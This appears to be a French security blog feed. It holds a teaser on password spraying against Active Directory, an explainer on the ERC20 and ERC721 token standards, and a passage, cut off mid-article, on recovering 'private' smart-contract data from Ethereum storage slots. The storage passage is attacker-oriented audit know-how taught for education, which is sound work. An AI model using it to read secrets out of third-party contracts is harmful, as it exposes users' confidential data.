hackndoCe blog est dédié à la sécurité informatique. Tutos sur les buffers overflow, l'Active Directory, on explique tout avec des exemples concrets.
https://beta.hackndo.com/
Fri, 30 Jan 2026 10:38:50 +0000Fri, 30 Jan 2026 10:38:50 +0000Jekyll v3.10.0Spray passwords, avoid lockouts<p>Le password spraying, c’est une technique connue qui consiste à tester un même mot de passe sur plusieurs comptes, en espérant que ce mot de passe fonctionne pour l’un d’entre eux. Cette technique est utilisée dans beaucoup de cadres différents : Sur des applications web, du cloud, des services comme SSH, FTP, et bien d’autres. On l’utilise également beaucoup dans des tests d’intrusion au sein d’entreprises utilisant Active Directory. C’est à ce dernier cas que nous allons nous intéresser, parce que bien que la technique paraisse simple, ce n’est pas évident de la mettre en pratique sans effets de bord.</p>
<!--more-->
<p>Cet article est disponible en français sur <a href="https://www.login-securite.com/blog/spray-passwords-avoid-lockouts">le blog de Login Sécurité</a> ou en anglais sur <a href="https://en.hackndo.com/password-spraying-lockout/">en.hackndo.com</a></p>
Thu, 30 May 2024 14:25:55 +0000
https://beta.hackndo.com/password-spraying-lockout/
https://beta.hackndo.com/password-spraying-lockout/Active DirectoryWindowsTokens ERC20 et ERC721<p>Une grande partie des applications décentralisées utilisent des <strong>tokens</strong> pour fonctionner correctement. Alors que les <strong>coins</strong> sont intrinsèques à chaque blockchain (Ether pour Ethereum, par exemple, Sol pour Solana, etc.), les <strong>tokens</strong> sont des jetons qui sont créés sur une blockchain déjà existante par l’intermédiaire de smart contracts. Ainsi, à l’aide d’un smart contract, il est possible de créer un token appelé “HackndoToken” dont le symbole serait “HND”, par exemple. Ce token pourrait exister en nombre limité, et nous pourrions même faire en sorte que chaque jeton HND soit unique.</p>
<!--more-->
<p>Ces tokens peuvent être transférés d’une adresse à l’autre, ils peuvent être créés, détruits, gardés dans un “coffre”, etc. Cependant, si chacun crée son token dans son coin, avec ses propres règles, ça deviendrait rapidement un joyeux bazar. Certains tokens pourraient avoir une fonction <code class="language-plaintext highlighter-rouge">transfer</code> pour transférer un token, d’autres pourraient utiliser <code class="language-plaintext highlighter-rouge">send()</code>, <code class="language-plaintext highlighter-rouge">sendTo()</code>, <code class="language-plaintext highlighter-rouge">transferToken()</code>, ou même <code class="language-plaintext highlighter-rouge">functionToTransferATokenToSomeoneLikeYouuuuu()</code>. Bref, on ne s’en sortirait pas. Il ne serait pas possible d’échanger un token contre un autre sans répertorier toutes les fonctions de tous les tokens existants.</p>
<p>C’est pourquoi, comme pour chaque technologie émergente, un standard doit être utilisé pour faciliter la communication entre applications, entre tokens. Ainsi, plusieurs améliorations de Ethereum (<a href="https://github.com/ethereum/EIPs">Ethereum Improvement Proposal - EIP</a>) ont été proposées afin de définir différents standards de tokens en fonction des besoins des applications.</p>
<h2 id="tokens-fongibles---erc20">Tokens fongibles - ERC20</h2>
<p>La proposition d’amélioration <a href="https://github.com/ethereum/EIPs/issues/20">#20</a> décrit un standard de token “classique”. Cette proposition a été acceptée, et les détails de ce standard sont accessibles <a href="https://eips.ethereum.org/EIPS/eip-20">à cette adresse</a>. Comme c’était l’issue #20 qui était à l’origine de cette standardisation, on appelle ce standard <strong>ERC20</strong> (ERC pour <em>Ethereum Request for Comments</em>)</p>
<p>Quand je dis que c’est un token “classique”, cela signifie que c’est un token avec les propriétés de base. Il a un nom, un symbole, et peut être transféré d’une adresse à une autre. Tous les tokens (du même type) sont équivalents, tout comme deux tickets de bus d’une même ville sont équivalents. Ces tickets, comme ces tokens (ou comme les Ethers), sont interchangeables. On les appelle alors des tokens <strong>fongibles</strong>.</p>
<p>En réalité, avoir un nom ou un symbole, ce n’est même pas obligatoire. C’est uniquement pratique pour les humains, pour aider à distinguer des tokens autrement que par leur adresse. C’est un peu comme des URL, bien plus pratique à retenir que des adresses IP. Ces deux informations, si elles sont utilisées, doivent être accessibles par les méthodes suivantes :</p>
<p>Une autre information optionnelle peut être fournie, c’est le nombre de décimales supportées par le token. Si le token “HND” a <code class="language-plaintext highlighter-rouge">8</code> décimales, alors pour avoir 1 HND, il faut en réalité en avoir 100 000 000 ! C’est comme l’euro, il faut 100 centimes pour avoir un euro. Il faudrait alors 10^8 fractions de HND pour avoir 1 HND. Ainsi, si un utilisateur a 150 000 000 HND, une application web indiquera qu’il en a <code class="language-plaintext highlighter-rouge">1.5</code> (<code class="language-plaintext highlighter-rouge">150 000 000 / 100 000 000</code>).</p>
<p>Cette information peut alors être accessible via la méthode suivante :</p>
<p>Outre ces trois informations qui sont plutôt d’ordre de la représentation, pour faciliter leur usage par des humains, ces jetons <strong>doivent impérativement</strong> implémenter les fonctions suivantes :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Cette fonction doit renvoyer le nombre total de jetons existants (qu'ils aient été distribués, ou non).</span>
<span class="c1">// S'il n'y a que 1 HND, avec 8 décimales, cette fonction renvoie 100 000 000.</span>
<span class="n">function</span> <span class="nf">totalSupply</span><span class="o">()</span> <span class="kd">public</span> <span class="n">view</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">uint256</span><span class="o">)</span>
<span class="c1">// Retourne le nombre de jetons possédés par une adresse.</span>
<span class="n">function</span> <span class="nf">balanceOf</span><span class="o">(</span><span class="n">address</span> <span class="n">_owner</span><span class="o">)</span> <span class="kd">public</span> <span class="n">view</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">uint256</span> <span class="n">balance</span><span class="o">)</span>
<span class="c1">// Permet de transférer des jetons à une autre adresse.</span>
<span class="n">function</span> <span class="nf">transfer</span><span class="o">(</span><span class="n">address</span> <span class="n">_to</span><span class="o">,</span> <span class="n">uint256</span> <span class="n">_value</span><span class="o">)</span> <span class="kd">public</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">)</span>
<span class="c1">// Permet de transférer des jetons d'une adresse source vers une adresse de destination.</span>
<span class="c1">// Pour que cela fonctionne, il faut que l'adresse source ait préalablement autorisé celui</span>
<span class="c1">// qui effectue ce `transferFrom` à effectuer ce transfert de tokens (ça serait trop facile sinon ;))</span>
<span class="n">function</span> <span class="nf">transferFrom</span><span class="o">(</span><span class="n">address</span> <span class="n">_from</span><span class="o">,</span> <span class="n">address</span> <span class="n">_to</span><span class="o">,</span> <span class="n">uint256</span> <span class="n">_value</span><span class="o">)</span> <span class="kd">public</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">)</span>
<span class="c1">// C'est avec cette fonction qu'il est possible de déléguer à un compte la dépense d'un nombre</span>
<span class="c1">// défini de tokens. Cette fonction doit être appelée avant que le compte délégué ne puisse</span>
<span class="c1">// utiliser la fonction `transferFrom()`.</span>
<span class="n">function</span> <span class="nf">approve</span><span class="o">(</span><span class="n">address</span> <span class="n">_spender</span><span class="o">,</span> <span class="n">uint256</span> <span class="n">_value</span><span class="o">)</span> <span class="kd">public</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">)</span>
<span class="c1">// Cette fonction retournera le nombre de tokens qu'un compte peut dépenser au nom d'un autre compte.</span>
<span class="n">function</span> <span class="nf">allowance</span><span class="o">(</span><span class="n">address</span> <span class="n">_owner</span><span class="o">,</span> <span class="n">address</span> <span class="n">_spender</span><span class="o">)</span> <span class="kd">public</span> <span class="n">view</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">uint256</span> <span class="n">remaining</span><span class="o">)</span>
</code></pre></div></div>
<h3 id="exemple">Exemple</h3>
<p>En ayant en tête toutes ces fonctions, il devient alors possible de créer un tout nouveau jeton depuis zéro avec Solidity !</p>
<blockquote>
<p>Attention, cet exemple est donné à titre indicatif. Il n’est absolument <strong>pas adapté à de la production</strong>.</p>
</blockquote>
<p>Ce contrat peut être compilé et déployé sur la blockchain Ethereum afin d’y créer un nouveau token. Incroyable n’est-ce pas ?</p>
<p>Ce type de token (cet exemple, ou un autre) peut représenter un peu ce qu’on veut. Ça peut être l’équivalent d’une somme d’argent dans un jeu vidéo, des points de compétence, des parts dans une entreprise (centralisée ou non), etc.</p>
<p>Dans cet exemple, nous avons écrit un token depuis zéro. Cependant, pour éviter les erreurs, et pour que la standardisation se passe au mieux, il est tout à fait possible de ne pas réinventer la route, et d’utiliser une version auditée et éprouvée, telle que celle <a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol">proposée par OpenZeppelin</a>.</p>
<h2 id="tokens-non-fongibles-nft---erc721">Tokens non fongibles (NFT) - ERC721</h2>
<p>Les <strong>NFT</strong> (Non-Fungible Tokens) sont une catégorie de tokens qui ont pour spécificité d’être <strong>non fongibles</strong>. Cela signifie que deux tokens, bien que provenant du même smart contract, sont différents. On peut comparer cette notion à des cartes qu’on peut collectionner. Bien que ce soit la même entreprise qui édite des cartes représentant, par exemple, les meilleurs hackers de la planète, chaque carte représente un hacker en particulier. Elle est certes de la même collection, mais n’est pas équivalente à une autre carte, représentant une autre personne.</p>
<p>Pour standardiser des tokens ayant cette notion d’<strong>unicité</strong>, une nouvelle demande d’amélioration de Ethereum a été faite, la <a href="https://github.com/ethereum/EIPs/issues/721">#721</a>, et ce nouveau standard est décrit dans la <a href="https://ethereum.org/fr/developers/docs/standards/tokens/erc-721/">documentation de Ethereum</a>, et est appelé <strong>ERC721</strong>.</p>
<p>Afin de s’assurer que chaque token provenant du même smart contract est unique, une nouvelle variable est introduite, <code class="language-plaintext highlighter-rouge">tokenId</code>. Cette variable doit être unique pour chaque token d’un smart contract afin de suivant le standard <strong>ERC721</strong>.</p>
<p>En plus de cette variable, les méthodes suivantes doivent être implémentées :</p>
<p>On retrouve quelques fonctions ressemblant de près ou de loin aux fonctions d’un token ERC20 (<code class="language-plaintext highlighter-rouge">balanceOf</code>, <code class="language-plaintext highlighter-rouge">transferFrom</code>, <code class="language-plaintext highlighter-rouge">approve</code> par exemple). Cependant, deux autres méthodes méritent un peu plus de détails.</p>
<h3 id="safetransferfrom">safeTransferFrom</h3>
<p>La première, c’est <code class="language-plaintext highlighter-rouge">safeTransferFrom()</code>. Cette méthode existe pour éviter que des NFT ne soient envoyés à des contrats ne sachant pas gérer des NFT. Si c’était le cas, le contrat de destination n’ayant pas été créé pour gérer des NFT, aucune fonction ne permettrait de gérer le NFT nouvellement reçu. Cela signifierait que ce NFT ne pourrait pas être acheté par quelqu’un, ou récupéré de quelconque manière que ce soit. Il serait bloqué dans ce contrat <em>at vitam</em>. On imagine très bien que, lorsqu’on propose une collection limitée de quelque chose, on souhaite éviter d’en perdre dans la nature, inutilisables, non échangeables.</p>
<p>Pour éviter ce genre de problème, lorsque la fonction <code class="language-plaintext highlighter-rouge">safeTransferFrom()</code> est appelée pour envoyer des tokens à un contrat, le contrat de destination doit impérativement avec une fonction spéciale, <code class="language-plaintext highlighter-rouge">onERC721Received</code></p>
<p>Cette fonction va être appelée par le contrat du token, et s’attend à une réponse très spécifique. Si cette fonction n’existe pas dans le contrat de destination (ou si la fonction existe mais ne retourne pas ce qui est attendu) alors le transfert de NFT va être annulé. Ainsi, pour recevoir des NFT via <code class="language-plaintext highlighter-rouge">safeTransferFrom</code>, un contrat doit avoir explicitement prévu cette fonction. Comme cette fonction n’existe que pour valider un <code class="language-plaintext highlighter-rouge">safeTransferFrom</code>, en règle générale, si un contrat a prévu cette fonction, c’est qu’il est capable par ailleurs de gérer des NFT.</p>
<p><a href="/assets/uploads/2023/06/onERC721Received.png"><img src="/assets/uploads/2023/06/onERC721Received.png" alt="onERC721Received" /></a></p>
<blockquote>
<p>La présence de <code class="language-plaintext highlighter-rouge">onERC721Received</code> n’est pas une garantie que le contrat sache gérer des NFT. On pourrait très bien créer un contrat qui implémente uniquement <code class="language-plaintext highlighter-rouge">onERC721Received</code>, et rien d’autre. Cet appel à cette callback est plutôt une sorte de garde-fou pour éviter des erreurs bêtes.</p>
</blockquote>
<h3 id="setapprovalforall">setApprovalForAll</h3>
<p>L’autre fonction qui mérite un point d’attention est <code class="language-plaintext highlighter-rouge">setApprovalForAll</code>, tout simplement parce qu’elle peut être dangereuse. En effet, lorsqu’un utilisateur utilise cette fonction pour approuver une adresse de destination, ça permet à la destination de gérer <strong>TOUTE</strong> la collection de NFT de l’utilisateur. Quand on parle de “gérer”, ça veut dire que la destination peut envoyer les NFT de l’utilisateur à des adresses de destination arbitraires. Il pourrait les envoyer à l’adresse nulle (<code class="language-plaintext highlighter-rouge">0x0</code>), ce qui ferait perdre ces NFT pour toujours, ou même se les envoyer à lui-même. Une fois le transfert terminé, l’utilisateur n’a aucun moyen de les récupérer.</p>
<p>Cette fonction, dangereuse, est donc à n’utiliser qu’en cas d’absolue confiance en le destinataire (si c’est un EOA) ou absolue compréhension du code (si la destination est un smart contract).</p>
<h3 id="exemple-1">Exemple</h3>
<p>Voici un exemple d’implémentation de ERC721 <em>from scratch</em> permettant de voir une implémentation simpliste des fonctions.</p>
<blockquote>
<p>Attention, cet exemple est donné à titre indicatif. Il n’est absolument <strong>pas adapté à de la production</strong>.</p>
</blockquote>
<p>Tout comme avec ERC20, il existe une version de <a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol">ERC721</a> proposée par OpenZeppelin qui permet de ne pas tout réinventer, et d’utiliser une base de code solide et éprouvée.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Ces deux standards sont les plus connus, mais ils sont loin d’être les seuls existants. En effet, les tokens peuvent être utilisés pour tellement d’applications que des standards se développent (et parfois meurent) à mesure que de nouvelles idées d’utilisation sont mises en avant.</p>
<p>Bien comprendre comment fonctionnent ces tokens est essentiel pour tout bon auditeur, puisqu’ils sont extrêmement courants dans les applications décentralisées, ou dApps.</p>
Mon, 16 Oct 2023 03:13:32 +0000
https://beta.hackndo.com/tokens-standards/
https://beta.hackndo.com/tokens-standards/BlockchainDonnées sensibles d'un smart contract<p>Vous vous souvenez des différents espaces de stockages auxquels a accès l’EVM ? Celui comparable au disque dur d’un ordinateur est le <strong>account storage</strong>. C’est cette zone mémoire dans laquelle l’état du contrat est enregistré. Mais vous vous souvenez aussi que la blockchain Ethereum est une machine a états décentralisée, accessible en lecture à tout le monde ? Vous voyez où je veux en venir ? Toutes les données enregistrées par un smart contract peuvent être lues par tout le monde. Si jamais des données sensibles sont enregistrées par un smart contract, nous serons en capacité de les lire.</p>
<!--more-->
<h2 id="rappels-sur-la-mémoire">Rappels sur la mémoire</h2>
<p>La mémoire de l’EVM est organisée de la manière suivante :</p>
<p><a href="/assets/uploads/2023/06/evm_storage.png"><img src="/assets/uploads/2023/06/evm_storage.png" alt="EVM Storage" /></a></p>
<p>Nous avons décrit dans l’article sur l’<a href="/ethereum-virtual-machine/">EVM</a> l’utilité des différentes zones mémoires, et leur organisation.</p>
<p>Ce qui nous intéresse dans cet article, c’est le <strong>account storage</strong>, le stockage permanent du compte du smart contract. C’est dans cette zone de stockage que le contrat enregistrera ses variables qui doivent être persistantes sur la blockchain. Par exemple, si un smart contract gère une inscription à un événement, il est nécessaire que la liste des inscrits soit enregistrée, et puisse être modifiée. C’est typiquement pour ce type d’informations que l’<strong>acount storage</strong> est utilisé.</p>
<p>Voici pour rappel à quoi ressemble cette zone mémoire :</p>
<p><a href="/assets/uploads/2023/06/account_storage.png"><img src="/assets/uploads/2023/06/account_storage.png" alt="Account Storage" /></a></p>
<p>Elle est organisée en <strong>slots</strong>, qui fonctionnent comme un index. Il y a <code class="language-plaintext highlighter-rouge">2**256</code> emplacements, et dans chaque emplacement on peut stocker <code class="language-plaintext highlighter-rouge">256</code> bits.</p>
<p>Si un contrat (écrit avec Solidity) souhaite enregistrer des variables dans cet espace (qu’on appellera <strong>state variables</strong>), il doit les déclarer en dehors des fonctions.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Hackndo</span> <span class="o">{</span>
<span class="cm">/**
* Variables d'état enregistrées dans le Account Storage
*/</span>
<span class="n">uint256</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">7</span><span class="o">;</span>
<span class="n">uint256</span> <span class="n">totalAmount</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
<span class="cm">/**
* Code du contrat
*/</span>
<span class="n">constructor</span><span class="o">()</span> <span class="o">{</span>
<span class="c1">// Code</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">test</span><span class="o">()</span> <span class="n">external</span> <span class="o">{</span>
<span class="c1">// Variable locale (non enregistrée sur la blockchain)</span>
<span class="n">uint256</span> <span class="n">localVariable</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">update</span><span class="o">()</span> <span class="n">external</span> <span class="o">{</span>
<span class="n">id</span><span class="o">++;</span>
<span class="n">totalAmount</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Les variables <code class="language-plaintext highlighter-rouge">id</code> et <code class="language-plaintext highlighter-rouge">totalAmount</code> seront enregistrées dans le <strong>account storage</strong> de ce contrat, et seront accessibles par toutes les fonctions de ce contrat. Si elles sont mises à jour par une fonction (comme <code class="language-plaintext highlighter-rouge">update()</code>), le <strong>account storage</strong> du contrat sera mis à jour et ces nouvelles valeurs seront disponibles pour les prochaines transactions.</p>
<h2 id="visibilité-des-variables">Visibilité des variables</h2>
<p>Avec Solidity, la visibilité d’une variable peut être définie de trois manières différentes :</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">public</code> : La variable est <strong>accessible en lecture</strong> par d’autres smart contracts. Un <code class="language-plaintext highlighter-rouge">getter</code> est automatiquement créé. On peut donc la lire en appelant la fonction <code class="language-plaintext highlighter-rouge">id()</code> ou <code class="language-plaintext highlighter-rouge">totalAmount()</code> par exemple.</li>
<li><code class="language-plaintext highlighter-rouge">internal</code> : La variable ne peut être lue ou modifiée que par le contrat dans lequel elle est définie, ou les contrats qui héritent de ce contrat. C’est la visibilité par défaut des variables.</li>
<li><code class="language-plaintext highlighter-rouge">private</code> : La variable ne peut pas être lue ou modifiée par d’autres smart contract que celui dans lequel elle est définie.</li>
</ul>
<p>Les définitions des variables <code class="language-plaintext highlighter-rouge">internal</code> et <code class="language-plaintext highlighter-rouge">private</code> présentes dans la <a href="https://docs.soliditylang.org/en/v0.8.20/contracts.html#state-variable-visibility">documentation de Solidity</a> peut porter à confusion :</p>
<blockquote>
<p><strong>Internal</strong> state variables can only be accessed from within the contract they are defined in and in derived contracts. They <strong>cannot be accessed externally</strong>. This is the default visibility level for state variables.</p>
<p><strong>Private</strong> state variables are like internal ones but they are <strong>not visible</strong> in derived contracts.</p>
</blockquote>
<p>Sans méfiance, nous pourrions croire qu’en définissant une variable <code class="language-plaintext highlighter-rouge">internal</code> ou <code class="language-plaintext highlighter-rouge">private</code>, cette variable ne pourra être lue par personne d’autre que le contrat lui-même, ou les contrats qui en héritent, donc qu’on pourrait stocker des informations confidentielles.</p>
<p>Les variables <code class="language-plaintext highlighter-rouge">internal</code> et <code class="language-plaintext highlighter-rouge">private</code> sont uniquement privées dans le cadre du smart contract. Cependant, <strong>leurs valeurs peuvent être librement lues en dehors de la blockchain par n’importe qui</strong>, donc elles ne cachent pas les données dans ce sens.</p>
<h2 id="organisation-de-laccount-storage">Organisation de l’account storage</h2>
<p>En tant qu’attaquant, il est alors nécessaire de bien comprendre comment les variables sont enregistrées dans le <strong>account storage</strong>.</p>
<h3 id="ordre-de-stockage">Ordre de stockage</h3>
<p>Le premier élément à comprendre est que les <strong>storage variables</strong> sont stockées par le compilateur de Solidity dans l’ordre de déclaration. Dans l’exemple donné au-dessus, la variable <code class="language-plaintext highlighter-rouge">id</code> sera stockée en première, puis la variable <code class="language-plaintext highlighter-rouge">totalAmount</code>.</p>
<p>Si aucune valeur n’est assignée à la variable, elle prendra la valeur par défaut <code class="language-plaintext highlighter-rouge">0x00</code>, et son slot est tout de même réservé.</p>
<p>Lors de la compilation du smart contract, le compilateur va tenter d’optimiser l’espace de stockage nécessaire. Pour cela, si des variables peuvent rentrer dans le même slot de 32 octets, elles seront mises dans le même slot.</p>
<p>Par exemple, si les variables d’état sont les suivantes :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Hackndo</span> <span class="o">{</span>
<span class="cm">/**
* Variables d'état enregistrées dans le Account Storage
*/</span>
<span class="n">uint32</span> <span class="n">var1</span> <span class="o">=</span> <span class="mi">7</span><span class="o">;</span>
<span class="n">uint32</span> <span class="n">var2</span> <span class="o">=</span> <span class="mi">15</span><span class="o">;</span>
<span class="n">uint128</span> <span class="n">var3</span> <span class="o">=</span> <span class="mi">10</span><span class="o">;</span>
<span class="n">uint128</span> <span class="n">var4</span> <span class="o">=</span> <span class="mi">9</span><span class="o">;</span>
<span class="n">uint32</span> <span class="n">var5</span> <span class="o">=</span> <span class="mi">2</span><span class="o">;</span>
<span class="n">uint8</span> <span class="n">var6</span> <span class="o">=</span> <span class="mi">3</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>La taille d’un slot est de 256 bits. Les 3 premières variables occupent <code class="language-plaintext highlighter-rouge">32+32+128 = 192</code> bits. On ne peut pas ajouter, dans le même slot, la 4ème variable, car il ne reste plus que 64 bits disponibles. Elle va donc dans le deuxième slot, avec la 5ème et la 6ème variable. En effet, la taille de <code class="language-plaintext highlighter-rouge">var4</code>, <code class="language-plaintext highlighter-rouge">var5</code> et <code class="language-plaintext highlighter-rouge">var6</code> vaut <code class="language-plaintext highlighter-rouge">128+32+8 = 168</code> bits, ce qui rentre dans un slot.</p>
<p><a href="/assets/uploads/2023/06/storage_compression.png"><img src="/assets/uploads/2023/06/storage_compression.png" alt="Storage compression" /></a></p>
<p>Ce qui donne, dans le <strong>storage</strong>, les données suivantes :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Slot 0</span>
0x0000000000000000 0000000000000000000000000000000a 0000000f 00000007
<span class="c"># empty var3 var2 var1</span>
<span class="c"># Slot 1</span>
0x00000000000000000000 0003 00000002 00000000000000000000000000000009
<span class="c"># empty var6 var5 var4</span>
</code></pre></div></div>
<h3 id="constant--immutable">Constant & Immutable</h3>
<p>Avec Solidity, les mots clés <code class="language-plaintext highlighter-rouge">constant</code> et <code class="language-plaintext highlighter-rouge">immutable</code> peuvent être utilisés sur des variables d’état.</p>
<ul>
<li>Si une variable est définie comme <code class="language-plaintext highlighter-rouge">constant</code>, une valeur <strong>doit</strong> lui être attribuée au moment de sa déclaration, et cette valeur ne pourra plus jamais être changée.</li>
<li>Si une variable est définie comme <code class="language-plaintext highlighter-rouge">immutable</code>, une valeur <strong>doit</strong> lui être attribuée, soit <strong>au moment de sa déclaration</strong>, soit dans le <strong>constructeur</strong>.</li>
</ul>
<p>Ce que ces deux types de variable ont en commun, c’est que toutes les utilisations de ces variables dans le code seront <strong>remplacées par leur valeur par le compilateur avant que le bytecode ne soit enregistré sur la blockchain</strong>. Donc en fait, ces notions de <code class="language-plaintext highlighter-rouge">constant</code> et <code class="language-plaintext highlighter-rouge">immutable</code> n’existent pas pour l’EVM. C’est juste quelque chose de pratique pour les développeurs.</p>
<p>Si par exemple, on a le contrat suivant :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Hackndo</span> <span class="o">{</span>
<span class="n">uint256</span> <span class="n">constant</span> <span class="no">MAX_SUPPLY</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
<span class="n">uint256</span> <span class="n">immutable</span> <span class="no">DEST_ADDR</span><span class="o">;</span>
<span class="n">constructor</span><span class="o">(</span><span class="n">address</span> <span class="n">_dest_addr</span><span class="o">)</span> <span class="o">{</span>
<span class="no">DEST_ADDR</span> <span class="o">=</span> <span class="n">_dest_addr</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">someFunc</span><span class="o">(</span><span class="n">uint</span> <span class="n">_value</span><span class="o">)</span> <span class="o">{</span>
<span class="n">require</span><span class="o">(</span><span class="n">_value</span> <span class="o"><</span> <span class="no">MAX_SUPPLY</span><span class="o">,</span> <span class="s">"MAX_SUPPLY reached"</span><span class="o">);</span>
<span class="n">require</span><span class="o">(</span><span class="n">msg</span><span class="o">.</span><span class="na">sender</span> <span class="o">==</span> <span class="no">DEST_ADDR</span><span class="o">,</span> <span class="s">"Not allowed"</span><span class="o">);</span>
<span class="c1">// Some code</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Deux variables <code class="language-plaintext highlighter-rouge">MAX_SUPPLY</code> et <code class="language-plaintext highlighter-rouge">DEST_ADDR</code> sont déclarées. Cependant, elles seront remplacées par leur valeur lorsque le contrat sera déployé sur la blockchain. Donc finalement, si ce code est déployé par l’adresse <code class="language-plaintext highlighter-rouge">0x1234...</code>, il est <strong>exactement équivalent à</strong> :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Hackndo</span> <span class="o">{</span>
<span class="n">function</span> <span class="nf">someFunc</span><span class="o">(</span><span class="n">uint</span> <span class="n">_value</span><span class="o">)</span> <span class="o">{</span>
<span class="n">require</span><span class="o">(</span><span class="n">_value</span> <span class="o"><</span> <span class="mi">1000</span><span class="o">,</span> <span class="s">"MAX_SUPPLY reached"</span><span class="o">);</span>
<span class="n">require</span><span class="o">(</span><span class="n">msg</span><span class="o">.</span><span class="na">sender</span> <span class="o">==</span> <span class="mh">0x1234</span><span class="o">...,</span> <span class="s">"Not allowed"</span><span class="o">);</span>
<span class="c1">// Some code</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>D’un point de vue <em>bytecode</em>, les variables <code class="language-plaintext highlighter-rouge">constant</code> et <code class="language-plaintext highlighter-rouge">immutable</code> n’existent pas. Donc si on voit ce type de variable dans un contrat, il ne faut pas les prendre en compte dans le calcul des slots.</p>
<h2 id="stockage-des-variables">Stockage des variables</h2>
<p>Maintenant que nous avons clarifié quelles variables étaient stockées dans le storage, et l’optimisation permettant de limiter la taille de storage utilisée, voyons comment les différents types de variables sont techniquement enregistrés.</p>
<h3 id="entiers-et-booléens">Entiers et booléens</h3>
<p>Nous l’avons vu dans les exemples précédents, les entiers (et booléens) sont simplement enregistrés dans le slot qui correspond. La taille maximale d’un entier était 256 bits, il ne pourra jamais être plus grand que la taille prévue par un slot, de 256 bits également.</p>
<h3 id="tableau">Tableau</h3>
<p>Lorsqu’un <strong>tableau</strong> a une taille définie, alors ses éléments sont stockés les uns à la suite des autres en suivant les règles déjà vues.</p>
<p>Mais un <strong>tableau</strong> peut avoir une taille <strong>dynamique</strong>. Or, on ne va pas modifier les slots de toutes les variables qui suivent le tableau à chaque fois que la taille de ce dernier change. Chaque élément du tableau a alors un slot particulier dans lequel il est enregistré.</p>
<p>Ainsi, seule la taille du tableau est stockée dans le slot qui suit les règles que nous avons décrites (donc si un tableau dynamique est stocké dans le slot 3, on trouvera sa taille dans ce slot).</p>
<p>Pour trouver le premier élément du tableau, il faut calculer <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(arrayIndex))</code> (<code class="language-plaintext highlighter-rouge">arrayIndex</code> serait <code class="language-plaintext highlighter-rouge">3</code> dans le cas précédent). Ce résultat est un hash de 256 bits, qui correspond au numéro du slot dans lequel se trouve ce premier élément du tableau. Les éléments suivants sont tout simplemenet dans les slots suivants.</p>
<h3 id="mapping">Mapping</h3>
<p>Pour un <strong>mapping</strong>, un slot est réservé pour déterminer son index de base mais rien n’est stocké à cet endroit, contrairement aux tableaux pour lesquels la taille est stockée.</p>
<p>En effet, pour accéder à un élément d’un mapping, on n’utilise pas un index, mais la clé de l’élément pour découvrir sa valeur.</p>
<p>Pour déterminer où se trouve une valeur du mapping en fonction de sa clé, il faut calculer le hash qui concatène la clé de l’élément recherché, et le slot réservé au mapping (<code class="language-plaintext highlighter-rouge">key</code> + <code class="language-plaintext highlighter-rouge">slot</code>). Ainsi, la fonction <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(key, slot))</code> doit être appliquée. Comme pour les tableaux, cette fonction retourne un hash, qui correspond au slot auquel se trouve la valeur de <code class="language-plaintext highlighter-rouge">key</code>.</p>
<h3 id="string">String</h3>
<p>Les <strong>chaines de caractères</strong> de moins de 32 octets sont enregistrées dans un slot. Les bits de poids fort sont utilisés pour stocker la chaine, et ceux de poids faible pour indiquer la longueur de la chaine multipliée par 2 <code class="language-plaintext highlighter-rouge">longueur*2</code>.</p>
<p>Si elle fait 32 octets ou plus, alors le slot réservé à la chaine contient la longueur de la chaine multipliée par deux, auquel on ajoute 1, <code class="language-plaintext highlighter-rouge">longueur*2+1</code>, et l’emplacement où se trouve la chaine est tout simplement le hash du slot réservé.</p>
<p>Par exemple, si une longue chaine est censée se trouver dans le slot 2, alors l’adresse où se trouve réellement la chaine peut être trouvée avec la fonction <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(2))</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ bytes32 slot <span class="o">=</span> keccak256<span class="o">(</span>abi.encode<span class="o">(</span>2<span class="o">))</span><span class="p">;</span>
➜ slot
Type: bytes32
└ Data: 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
</code></pre></div></div>
<blockquote>
